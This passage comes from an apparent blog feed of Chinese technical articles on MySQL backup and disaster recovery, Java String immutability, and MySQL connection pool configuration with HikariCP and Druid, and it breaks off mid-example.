mydb.important_table&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 5. 关闭测试实例</span></span><br><span class="line">mysqladmin -S /tmp/mysql_test.sock shutdown</span><br><span class="line"></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;备份验证完成&quot;</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-2-监控备份状态"><a href="#7-2-监控备份状态" class="headerlink" title="7.2 监控备份状态"></a>7.2 监控备份状态</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 检查备份文件大小</span></span><br><span class="line">BACKUP_SIZE=$(<span class="built_in">du</span> -sm /backup/full/latest | awk <span class="string">&#x27;&#123;print $1&#125;&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> [ <span class="variable">$BACKUP_SIZE</span> -lt 100 ]; <span class="keyword">then</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;备份文件异常小，可能备份失败&quot;</span> | mail -s <span class="string">&quot;备份告警&quot;</span> dba@company.com</span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 检查备份日志</span></span><br><span class="line"><span class="keyword">if</span> grep -q <span class="string">&quot;completed OK&quot;</span> /backup/full/latest/backup.log; <span class="keyword">then</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;备份成功&quot;</span></span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;备份失败&quot;</span> | mail -s <span class="string">&quot;备份告警&quot;</span> dba@company.com</span><br><span class="line"><span class="keyword">fi</span></span><br></pre></td></tr></table></figure><h2 id="八、云数据库备份"><a href="#八、云数据库备份" class="headerlink" title="八、云数据库备份"></a>八、云数据库备份</h2><p>#</p><h2 id="8-1-阿里云RDS"><a href="#8-1-阿里云RDS" class="headerlink" title="8.1 阿里云RDS"></a>8.1 阿里云RDS</h2><ul><li>自动全量备份（每天）</li><li>自动增量备份（binlog，5分钟）</li><li>支持恢复到任意时间点</li><li>支持跨地域备份</li></ul><p>#</p><h2 id="8-2-腾讯云CDB"><a href="#8-2-腾讯云CDB" class="headerlink" title="8.2 腾讯云CDB"></a>8.2 腾讯云CDB</h2><ul><li>自动备份策略可配置</li><li>支持物理备份和逻辑备份</li><li>支持备份下载</li></ul><h2 id="九、灾难恢复计划"><a href="#九、灾难恢复计划" class="headerlink" title="九、灾难恢复计划"></a>九、灾难恢复计划</h2><p>#</p><h2 id="9-1-RPO和RTO"><a href="#9-1-RPO和RTO" class="headerlink" title="9.1 RPO和RTO"></a>9.1 RPO和RTO</h2><table><thead><tr><th>指标</th><th>说明</th><th>目标</th></tr></thead><tbody><tr><td>RPO</td><td>恢复点目标，可接受的数据丢失量</td><td>&lt; 5分钟</td></tr><tr><td>RTO</td><td>恢复时间目标，业务恢复所需时间</td><td>&lt; 30分钟</td></tr></tbody></table><p>#</p><h2 id="9-2-恢复流程"><a href="#9-2-恢复流程" class="headerlink" title="9.2 恢复流程"></a>9.2 恢复流程</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">灾难发生</span><br><span class="line">    │</span><br><span class="line">    ├── 评估损失范围</span><br><span class="line">    │       ├── 数据损坏 → 从备份恢复</span><br><span class="line">    │       └── 硬件故障 → 切换到备库</span><br><span class="line">    │</span><br><span class="line">    ├── 确定恢复时间点</span><br><span class="line">    │       └── 根据RPO选择binlog恢复点</span><br><span class="line">    │</span><br><span class="line">    ├── 执行恢复</span><br><span class="line">    │       ├── 恢复全备</span><br><span class="line">    │       ├── 应用增量备</span><br><span class="line">    │       └── 应用binlog</span><br><span class="line">    │</span><br><span class="line">    ├── 验证数据完整性</span><br><span class="line">    │       └── 关键表校验</span><br><span class="line">    │</span><br><span class="line">    └── 切换业务流量</span><br></pre></td></tr></table></figure><h2 id="十、总结"><a href="#十、总结" class="headerlink" title="十、总结"></a>十、总结</h2><table><thead><tr><th>备份方式</th><th>适用场景</th><th>优点</th><th>缺点</th></tr></thead><tbody><tr><td>mysqldump</td><td>小库、部分表、迁移</td><td>简单、可读</td><td>慢、大</td></tr><tr><td>XtraBackup</td><td>大库、生产环境</td><td>快、热备</td><td>需要安装</td></tr><tr><td>mydumper</td><td>大库并行备份</td><td>多线程快</td><td>需安装</td></tr><tr><td>binlog</td><td>时点恢复</td><td>精确恢复</td><td>依赖全备</td></tr></tbody></table><table><thead><tr><th>备份策略</th><th>频率</th><th>保留</th></tr></thead><tbody><tr><td>全量备份</td><td>每周</td><td>1月</td></tr><tr><td>增量备份</td><td>每天</td><td>1周</td></tr><tr><td>binlog</td><td>实时</td><td>2周</td></tr></tbody></table><p>备份的核心原则：</p><ol><li>定期备份，自动化执行</li><li>备份加密，安全存储</li><li>异地容灾，防止单点</li><li>定期演练，验证可用</li><li>监控告警，及时发现问题</li></ol><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型</p></li><li><p>SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN</p></li><li><p>事务隔离级别的选择：根据业务需求选择合适的级别</p></li><li><p>常见的锁问题：行锁、表锁、死锁的处理</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。</p>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> MySQL </tag>
            
            <tag> 数据库 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Java String 为什么设计成不可变</title>
      <link href="//java-string-wei-shi-me-she-ji-cheng-bu-ke-bian/"/>
      <url>//java-string-wei-shi-me-she-ji-cheng-bu-ke-bian/</url>
      
        <content type="html"><![CDATA[<h1 id="Java-String-为什么设计成不可变"><a href="#Java-String-为什么设计成不可变" class="headerlink" title="Java String 为什么设计成不可变"></a>Java String 为什么设计成不可变</h1><p>String 不可变是 Java 里非常重要的设计。它让字符串可以安全地放进常量池，也让 HashMap 这类结构能放心使用字符串作为 key。</p><h2 id="不可变是什么意思"><a href="#不可变是什么意思" class="headerlink" title="不可变是什么意思"></a>不可变是什么意思</h2><p>下面的代码看起来像修改了字符串：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">name</span> <span class="operator">=</span> <span class="string">&quot;java&quot;</span>;</span><br><span class="line">name = name + <span class="string">&quot;-blog&quot;</span>;</span><br></pre></td></tr></table></figure><p>实际上原来的 <code>java</code> 没有被修改，而是创建了新的字符串对象，再让 name 指向新对象。</p><h2 id="为什么这样设计"><a href="#为什么这样设计" class="headerlink" title="为什么这样设计"></a>为什么这样设计</h2><ul><li>线程安全：多个线程共享同一个字符串，不会互相改坏。</li><li>哈希稳定：字符串作为 Map 的 key 时，hashCode 不会因为内容变化而变化。</li><li>常量池复用：相同字面量可以复用，减少内存浪费。</li></ul><h2 id="什么时候用-StringBuilder"><a href="#什么时候用-StringBuilder" class="headerlink" title="什么时候用 StringBuilder"></a>什么时候用 StringBuilder</h2><p>循环拼接大量字符串时，不要一直用 <code>+</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">StringBuilder</span> <span class="variable">builder</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuilder</span>();</span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; <span class="number">1000</span>; i++) &#123;</span><br><span class="line">    builder.append(i).append(<span class="string">&#x27;,&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">String</span> <span class="variable">result</span> <span class="operator">=</span> builder.toString();</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JAVA </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MySQL连接池配置与优化</title>
      <link href="//mysql-connection-pool-optimization/"/>
      <url>//mysql-connection-pool-optimization/</url>
      
        <content type="html"><![CDATA[<h1 id="MySQL连接池配置与优化"><a href="#MySQL连接池配置与优化" class="headerlink" title="MySQL连接池配置与优化"></a>MySQL连接池配置与优化</h1><p>MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。</p><h2 id="一、为什么需要连接池"><a href="#一、为什么需要连接池" class="headerlink" title="一、为什么需要连接池"></a>一、为什么需要连接池</h2><p>#</p><h2 id="1-1-数据库连接的成本"><a href="#1-1-数据库连接的成本" class="headerlink" title="1.1 数据库连接的成本"></a>1.1 数据库连接的成本</h2><p>创建数据库连接是高成本操作：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">创建连接的步骤：</span><br><span class="line">1. TCP三次握手（1.5 RTT）</span><br><span class="line">2. MySQL握手认证</span><br><span class="line">3. 权限验证</span><br><span class="line">4. 初始化连接资源和缓冲区</span><br><span class="line"></span><br><span class="line">总耗时：约几十到几百毫秒</span><br></pre></td></tr></table></figure><p>#</p><h2 id="1-2-连接池的作用"><a href="#1-2-连接池的作用" class="headerlink" title="1.2 连接池的作用"></a>1.2 连接池的作用</h2><ul><li><strong>复用连接</strong>：避免频繁创建和关闭连接</li><li><strong>控制并发</strong>：限制同时访问数据库的连接数</li><li><strong>快速响应</strong>：从池获取连接是微秒级</li><li><strong>连接管理</strong>：自动检测和恢复无效连接</li></ul><h2 id="二、连接池原理"><a href="#二、连接池原理" class="headerlink" title="二、连接池原理"></a>二、连接池原理</h2><p>#</p><h2 id="2-1-连接池的工作流程"><a href="#2-1-连接池的工作流程" class="headerlink" title="2.1 连接池的工作流程"></a>2.1 连接池的工作流程</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">应用请求连接</span><br><span class="line">    │</span><br><span class="line">    ├── 空闲连接？───是──→ 返回连接</span><br><span class="line">    │       │</span><br><span class="line">    │      否</span><br><span class="line">    │       │</span><br><span class="line">    ├── 连接数 &lt; 最大连接数？───是──→ 创建新连接</span><br><span class="line">    │       │</span><br><span class="line">    │      否</span><br><span class="line">    │       │</span><br><span class="line">    └── 等待（或报错）</span><br><span class="line"></span><br><span class="line">归还连接</span><br><span class="line">    │</span><br><span class="line">    ├── 连接有效？───是──→ 放回空闲池</span><br><span class="line">    │       │</span><br><span class="line">    │      否</span><br><span class="line">    │       │</span><br><span class="line">    └── 关闭连接</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-2-连接池核心参数"><a href="#2-2-连接池核心参数" class="headerlink" title="2.2 连接池核心参数"></a>2.2 连接池核心参数</h2><table><thead><tr><th>参数</th><th>说明</th></tr></thead><tbody><tr><td>最小连接数（minIdle）</td><td>连接池保持的最小空闲连接</td></tr><tr><td>最大连接数（maxActive/maxPoolSize）</td><td>连接池允许的最大连接数</td></tr><tr><td>连接超时（connectionTimeout）</td><td>获取连接的最大等待时间</td></tr><tr><td>空闲检测（idleTimeout）</td><td>空闲连接回收时间</td></tr><tr><td>最大生命周期（maxLifetime）</td><td>连接的最大存活时间</td></tr></tbody></table><h2 id="三、主流连接池对比"><a href="#三、主流连接池对比" class="headerlink" title="三、主流连接池对比"></a>三、主流连接池对比</h2><p>#</p><h2 id="3-1-HikariCP"><a href="#3-1-HikariCP" class="headerlink" title="3.1 HikariCP"></a>3.1 HikariCP</h2><p>性能最好的连接池，SpringBoot 2.0+ 默认。</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>com.zaxxer<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>HikariCP<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>5.1.0<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">HikariConfig</span> <span class="variable">config</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">HikariConfig</span>();</span><br><span class="line">config.setJdbcUrl(<span class="string">&quot;jdbc:mysql://localhost:3306/mydb&quot;</span>);</span><br><span class="line">config.setUsername(<span class="string">&quot;root&quot;</span>);</span><br><span class="line">config.setPassword(<span class="string">&quot;password&quot;</span>);</span><br><span class="line">config.setMaximumPoolSize(<span class="number">20</span>);</span><br><span class="line">config.setMinimumIdle(<span class="number">5</span>);</span><br><span class="line">config.setConnectionTimeout(<span class="number">30000</span>);</span><br><span class="line">config.setIdleTimeout(<span class="number">600000</span>);</span><br><span class="line">config.setMaxLifetime(<span class="number">1800000</span>);</span><br><span class="line">config.addDataSourceProperty(<span class="string">&quot;cachePrepStmts&quot;</span>, <span class="string">&quot;true&quot;</span>);</span><br><span class="line">config.addDataSourceProperty(<span class="string">&quot;prepStmtCacheSize&quot;</span>, <span class="string">&quot;250&quot;</span>);</span><br><span class="line">config.addDataSourceProperty(<span class="string">&quot;prepStmtCacheSqlLimit&quot;</span>, <span class="string">&quot;2048&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="type">HikariDataSource</span> <span class="variable">dataSource</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">HikariDataSource</span>(config);</span><br></pre></td></tr></table></figure><p><strong>特点</strong>：</p><ul><li>性能极高（比其他连接池快数倍）</li><li>代码精简，功能专注</li><li>无额外监控功能</li></ul><p>#</p><h2 id="3-2-Druid"><a href="#3-2-Druid" class="headerlink" title="3.2 Druid"></a>3.2 Druid</h2><p>阿里巴巴开源，功能全面。</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>com.alibaba<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>druid-spring-boot-starter<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.2.20<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">datasource:</span></span><br><span class="line">    <span class="attr">type:</span> <span class="string">com.alibaba.druid.pool.DruidDataSource</span></span><br><span class="line">    <span class="attr">druid:</span></span><br><span class="line">      <span class="attr">url:</span> <span class="string">jdbc:mysql://localhost:3306/mydb</span></span><br><span class="line">      <span class="attr">username:</span> <span class="string">root</span></span><br><span class="line">      <span class="attr">password:</span> <span class="string">password</span></span><br><span class="line">      <span class="attr">initial-size:</span> <span class="number">5</span></span><br><span class="line">      <span class="attr">min-idle:</span> <span class="number">5</span></span><br><span class="line">      <span class="attr">max-active:</span> <span class="number">20</span></span><br><span class="line">      <span class="attr">max-wait:</span> <span class="number">60000</span></span><br><span class="line">      <span class="attr">time-between-eviction-runs-millis:</span> <span class="number">60000</span></span><br><span class="line">      <span class="attr">min-evictable-idle-time-millis:</span> <span class="number">300000</span></span><br><span class="line">      <span class="attr">max-evictable-idle-time-millis:</span> <span class="number">900000</span></span><br><span class="line">      <span class="attr">validation-query:</span> <span class="string">SELECT</span> <span class="number">1</span></span><br><span class="line">      <span class="attr">test-while-idle:</span> <span class="literal">true</span></span><br><span class="line">      <span class="attr">test-on-borrow:</span> <span class="literal">false</span></span><br><span class="line">      <span class="attr">test-on-return:</span> <span class="literal">false</span></span><br><span class="line">      <span class="attr">pool-prepared-statements:</span> <span class="literal">true</span></span><br><span class="line">      <span class="attr">max-pool-prepared-statement-per-connection-size:</span> <span class="number">20</span></span><br><span class="line">      <span class="attr">filters:</span> <span class="string">stat,wall,slf4j</span></span><br><span class="line">      <span class="attr">connection-properties:</span> <span class="string">druid.stat.mergeSql=true;druid.stat.slowSqlMillis=5000</span></span><br><span class="line">      <span class="attr">stat-view-servlet:</span></span><br><span class="line">        <span class="attr">enabled:</span> <span class="literal">true</span></span><br><span class="line">        <span class="attr">login-username:</span> <span class="string">admin</span></span><br><span class="line">        <span class="attr">login-password:</span> <span class="string">admin</span></span><br></pre></td></tr></table></figure><p><strong>特点</strong>：</p><ul><li>内置监控页面</li><li>SQL防注入（WallFilter）</li><li>SQL性能监控</li><li>扩展功能丰富</li></ul><p>#</p><h2 id="3-3-连接池性能对比"><a href="#3-3-连接池性能对比" class="headerlink" title="3.3 连接池性能对比"></a>3.3 连接池性能对比</h2><table><thead><tr><th>连接池</th><th>性能</th><th>功能</th><th>监控</th><th>推荐场景</th></tr></thead><tbody><tr><td>HikariCP</td><td>★★★</td><td>基础</td><td>无</td><td>追求极致性能</td></tr><tr><td>Druid</td><td>★★☆</td><td>丰富</td><td>内置</td><td>需要监控和SQL防护</td></tr><tr><td>C3P0</td><td>★☆☆</td><td>一般</td><td>无</td><td>老项目维护</td></tr><tr><td>DBCP2</td><td>★★☆</td><td>基础</td><td>无</td><td>Apache生态</td></tr></tbody></table><h2 id="四、连接池参数配置"><a href="#四、连接池参数配置" class="headerlink" title="四、连接池参数配置"></a>四、连接池参数配置</h2><p>#</p><h2 id="4-1-连接数计算"><a href="#4-1-连接数计算" class="headerlink" title="4.1 连接数计算"></a>4.1 连接数计算</h2><p><strong>最大连接数公式</strong>：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">连接数 = ((核心数 × 2) + 有效磁盘数) × 单服务器分片数</span><br><span class="line"></span><br><span class="line">简化估算：</span><br><span class="line">- 4核服务器：8-16连接</span><br><span class="line">- 8核服务器：16-32连接</span><br><span class="line">- 16核服务器：32-64连接</span><br></pre></td></tr></table></figure><p><strong>MySQL服务端最大连接数</strong>：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SHOW</span> VARIABLES <span class="keyword">LIKE</span> <span class="string">&#x27;max_connections&#x27;</span>;</span><br><span class="line"><span class="comment">-- 默认151，生产建议500-2000</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-2-应用连接池配置"><a href="#4-2-应用连接池配置" class="headerlink" title="4.2 应用连接池配置"></a>4.2 应用连接池配置</h2><p>假设应用部署8台机器，MySQL服务端max_connections=500：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">每台应用的最大连接数 = 500 / 8 ≈ 60</span><br><span class="line">考虑冗余：每台配置 maxPoolSize = 50</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-3-HikariCP推荐配置"><a href="#4-3-HikariCP推荐配置" class="headerlink" title="4.3 HikariCP推荐配置"></a>4.3 HikariCP推荐配置</h2><figure class="highlight properties"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 核心参数</span></span><br><span class="line"><span class="attr">spring.datasource.hikari.maximum-pool-size</span>=<span class="string">20</span></span><br><span class="line"><span class="attr">spring.datasource.hikari.minimum-idle</span>=<span class="string">5</span></span><br><span class="line"><span class="attr">spring.datasource.hikari.connection-timeout</span>=<span class="string">30000</span></span><br><span class="line"><span class="attr">spring.datasource.hikari.idle-timeout</span>=<span class="string">600000</span></span><br><span class="line"><span class="attr">spring.datasource.hikari.max-lifetime</span>=<span class="string">1800000</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment"># 连接测试</span></span><br><span class="line"><span class="attr">spring.datasource.hikari.connection-test-query</span>=<span class="string">SELECT 1</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment"># MySQL优化</span></span><br><span class="line"><span class="attr">spring.datasource.hikari.data-source-properties.cachePrepStmts</span>=<span class="string">true</span></span><br><span class="line"><span class="attr">spring.datasource.hikari.data-source-properties.prepStmtCacheSize</span>=<span class="string">250</span></span><br><span class="line"><span class="attr">spring.datasource.hikari.data-source-properties.prepStmtCacheSqlLimit</span>=<span class="string">2048</span></span><br><span class="line"><span class="attr">spring.datasource.hikari.data-source-properties.useServerPrepStmts</span>=<span class="string">true</span></span><br><span class="line"><span class="attr">spring.datasource.hikari.data-source-properties.useLocalSessionState</span>=<span class="string">true</span></span><br><span class="line"><span class="attr">spring.datasource.hikari.data-source-properties.rewriteBatchedStatements</span>=<span class="string">true</span></span><br><span class="line"><span class="attr">spring.datasource.hikari.data-source-properties.cacheResultSetMetadata</span>=<span class="string">true</span></span><br><span class="line"><span class="attr">spring.datasource.hikari.data-source-properties.cacheServerConfiguration</span>=<span class="string">true</span></span><br><span class="line"><span class="attr">spring.datasource.hikari.data-source-properties.elideSetAutoCommits</span>=<span class="string">true</span></span><br><span class="line"><span class="attr">spring.datasource.hikari.data-source-properties.maintainTimeStats</span>=<span class="string">false</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-4-参数详解"><a href="#4-4-参数详解" class="headerlink" title="4.4 参数详解"></a>4.4 参数详解</h2><table><thead><tr><th>参数</th><th>推荐值</th><th>说明</th></tr></thead><tbody><tr><td>maximumPoolSize</td><td>10-30</td><td>最大连接数</td></tr><tr><td>minimumIdle</td><td>5-10</td><td>最小空闲连接</td></tr><tr><td>connectionTimeout</td><td>30000</td><td>获取连接等待30秒</td></tr><tr><td>idleTimeout</td><td>600000</td><td>空闲10分钟回收</td></tr><tr><td>maxLifetime</td><td>1800000</td><td>连接最大存活30分钟</td></tr><tr><td>leakDetectionThreshold</td><td>60000</td><td>连接泄漏检测60秒</td></tr></tbody></table><p><strong>maxLifetime注意</strong>：</p><ul><li>应小于MySQL的wait_timeout</li><li>MySQL默认wait_timeout=28800（8小时）</li><li>连接池maxLifetime应比数据库端短一些</li></ul><h2 id="五、MySQL连接相关参数"><a href="#五、MySQL连接相关参数" class="headerlink" title="五、MySQL连接相关参数"></a>五、MySQL连接相关参数</h2><p>#</p><h2 id="5-1-服务端参数"><a href="#5-1-服务端参数" class="headerlink" title="5.1 服务端参数"></a>5.1 服务端参数</h2><figure class="highlight ini"><table><tr><td class="code"><pre><span class="line"><span class="section">[mysqld]</span></span><br><span class="line"><span class="comment"># 最大连接数</span></span><br><span class="line"><span class="attr">max_connections</span> = <span class="number">500</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 每个连接缓冲区</span></span><br><span class="line"><span class="attr">sort_buffer_size</span> = <span class="number">2</span>M</span><br><span class="line"><span class="attr">read_buffer_size</span> = <span class="number">1</span>M</span><br><span class="line"><span class="attr">join_buffer_size</span> = <span class="number">2</span>M</span><br><span class="line"><span class="attr">read_rnd_buffer_size</span> = <span class="number">2</span>M</span><br><span class="line"></span><br><span class="line"><span class="comment"># 连接超时</span></span><br><span class="line"><span class="attr">wait_timeout</span> = <span class="number">28800</span>          <span class="comment"># 非交互连接空闲超时（秒）</span></span><br><span class="line"><span class="attr">interactive_timeout</span> = <span class="number">28800</span>   <span class="comment"># 交互连接空闲超时（秒）</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 连接错误阈值（防暴力破解）</span></span><br><span class="line"><span class="attr">max_connect_errors</span> = <span class="number">100</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-2-连接数监控"><a href="#5-2-连接数监控" class="headerlink" title="5.2 连接数监控"></a>5.2 连接数监控</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 查看当前连接数</span></span><br><span class="line"><span class="keyword">SHOW</span> STATUS <span class="keyword">LIKE</span> <span class="string">&#x27;Threads_connected&#x27;</span>;</span><br><span class="line"><span class="keyword">SHOW</span> STATUS <span class="keyword">LIKE</span> <span class="string">&#x27;Threads_running&#x27;</span>;</span><br><span class="line"><span class="keyword">SHOW</span> STATUS <span class="keyword">LIKE</span> <span class="string">&#x27;Max_used_connections&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 查看连接详情</span></span><br><span class="line"><span class="keyword">SHOW</span> PROCESSLIST;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 查看连接统计</span></span><br><span class="line"><span class="keyword">SELECT</span> </span><br><span class="line">    <span class="keyword">user</span>,</span><br><span class="line">    host,</span><br><span class="line">    db,</span><br><span class="line">    command,</span><br><span class="line">    state,</span><br><span class="line">    <span class="type">TIME</span> <span class="keyword">as</span> time_seconds,</span><br><span class="line">    info</span><br><span class="line"><span class="keyword">FROM</span> information_schema.processlist</span><br><span class="line"><span class="keyword">WHERE</span> command <span class="operator">!=</span> <span class="string">&#x27;Sleep&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> time_seconds <span class="keyword">DESC</span>;</span><br></pre></td></tr></table></figure><h2 id="六、常见问题排查"><a href="#六、常见问题排查" class="headerlink" title="六、常见问题排查"></a>六、常见问题排查</h2><p>#</p><h2 id="6-1-连接池耗尽"><a href="#6-1-连接池耗尽" class="headerlink" title="6.1 连接池耗尽"></a>6.1 连接池耗尽</h2><p><strong>现象</strong>：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">java.sql.SQLTransientConnectionException: HikariPool-1 - Connection is not available, request timed out after 30000ms</span><br></pre></td></tr></table></figure><p><strong>原因排查</strong>：</p><ol><li>连接泄漏（未正确关闭）</li><li>慢SQL占用连接时间过长</li><li>连接数配置过小</li><li>突发流量</li></ol><p><strong>排查方法</strong>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 开启HikariCP泄漏检测</span></span><br><span class="line">config.setLeakDetectionThreshold(<span class="number">60000</span>);  <span class="comment">// 60秒</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 日志输出：</span></span><br><span class="line"><span class="comment">// Apparent connection leak detected, owned by running SQL: SELECT ...</span></span><br></pre></td></tr></table></figure><p><strong>解决</strong>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 确保在finally中关闭连接</span></span><br><span class="line"><span class="keyword">try</span> (<span class="type">Connection</span> <span class="variable">conn</span> <span class="operator">=</span> dataSource.getConnection();</span><br><span class="line">     <span class="type">PreparedStatement</span> <span class="variable">ps</span> <span class="operator">=</span> conn.prepareStatement(sql)) &#123;</span><br><span class="line">    <span class="comment">// 执行查询</span></span><br><span class="line">&#125; <span class="keyword">catch</span> (SQLException e) &#123;</span><br><span class="line">    <span class="comment">// 处理异常</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// try-with-resources 自动关闭</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-2-连接超时"><a href="#6-2-连接超时" class="headerlink" title="6.2 连接超时"></a>6.2 连接超时</h2><p><strong>现象</strong>：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Communications link failure: The last packet successfully received from the server was X milliseconds ago</span><br></pre></td></tr></table></figure><p><strong>原因</strong>：</p><ul><li>网络中断</li><li>MySQL服务端关闭空闲连接</li><li>防火墙切断长连接</li></ul><p><strong>解决</strong>：</p><figure class="highlight properties"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 连接池配置</span></span><br><span class="line"><span class="attr">spring.datasource.hikari.max-lifetime</span>=<span class="string">1800000  # 小于MySQL wait_timeout</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment"># 测试连接有效性</span></span><br><span class="line"><span class="attr">spring.datasource.hikari.connection-test-query</span>=<span class="string">SELECT 1</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-3-Too-many-connections"><a href="#6-3-Too-many-connections" class="headerlink" title="6.3 Too many connections"></a>6.3 Too many connections</h2><p><strong>现象</strong>：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">ERROR 1040 (08004): Too many connections</span><br></pre></td></tr></table></figure><p><strong>解决</strong>：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 临时增加（需权限）</span></span><br><span class="line"><span class="keyword">SET</span> <span class="keyword">GLOBAL</span> max_connections <span class="operator">=</span> <span class="number">1000</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 查看连接来源</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="keyword">user</span>, host, <span class="built_in">COUNT</span>(<span class="operator">*</span>) </span><br><span class="line"><span class="keyword">FROM</span> information_schema.processlist </span><br><span class="line"><span class="keyword">GROUP</span> <span class="keyword">BY</span> <span class="keyword">user</span>, host;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 杀掉空闲连接</span></span><br><span class="line"><span class="keyword">SELECT</span> CONCAT(<span class="string">&#x27;KILL &#x27;</span>, id, <span class="string">&#x27;;&#x27;</span>) </span><br><span class="line"><span class="keyword">FROM</span> information_schema.processlist </span><br><span class="line"><span class="keyword">WHERE</span> command <span class="operator">=</span> <span class="string">&#x27;Sleep&#x27;</span> <span class="keyword">AND</span> <span class="type">time</span> <span class="operator">&gt;</span> <span class="number">600</span>;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-4-连接数优化案例"><a href="#6-4-连接数优化案例" class="headerlink" title="6.4 连接数优化案例"></a>6.4 连接数优化案例</h2><p><strong>场景</strong>：应用启动后连接数迅速增长到最大，且响应变慢。</p><p><strong>分析</strong>：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 查看每个应用的连接数</span></span><br><span 